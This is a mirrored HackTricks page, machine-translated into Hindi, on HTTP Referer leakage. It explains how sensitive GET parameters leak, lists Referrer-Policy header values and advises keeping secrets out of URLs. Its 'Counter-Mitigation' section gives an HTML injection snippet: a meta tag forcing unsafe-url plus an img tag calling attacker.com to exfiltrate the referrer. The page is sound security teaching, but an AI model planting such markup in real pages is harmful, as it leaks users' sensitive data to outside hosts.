Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/interesting-http.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

6.7 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

रेफरर हेडर और नीति

रेफरर वह हेडर है जिसे ब्राउज़र्स द्वारा पिछले दौरे गए पृष्ठ की सूचित करने के लिए उपयोग किया जाता है।

चुनौतीपूर्ण जानकारी लीक हो गई

यदि किसी वेब पृष्ठ के अंदर किसी भी संवेदनशील जानकारी को GET अनुरोध पैरामीटर में स्थानित किया जाता है, यदि पृष्ठ में बाहरी स्रोतों के लिंक होते हैं या किसी हमलावर्ती व्यक्ति को यह सुझाया जा सकता है (सामाजिक इंजीनियरिंग), तो वह हमलावर्ती व्यक्ति नवीनतम GET अनुरोध के अंदर संवेदनशील जानकारी को बाहर निकाल सकता है।

समाधान

आप ब्राउज़र को एक रेफरर-नीति का पालन करने के लिए कर सकते हैं जो संवेदनशील जानकारी को अन्य वेब एप्लिकेशनों को भेजने से बचा सकती है:

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

Counter-Mitigation

आप एक HTML मेटा टैग का उपयोग करके इस नियम को अधिलेखित कर सकते हैं (हमलावार को HTML इंजेक्शन का उपयोग करना होगा):

<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">

रक्षा

कभी भी URL में GET पैरामीटर या पथ के अंदर कोई भी संवेदनशील डेटा न डालें।

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥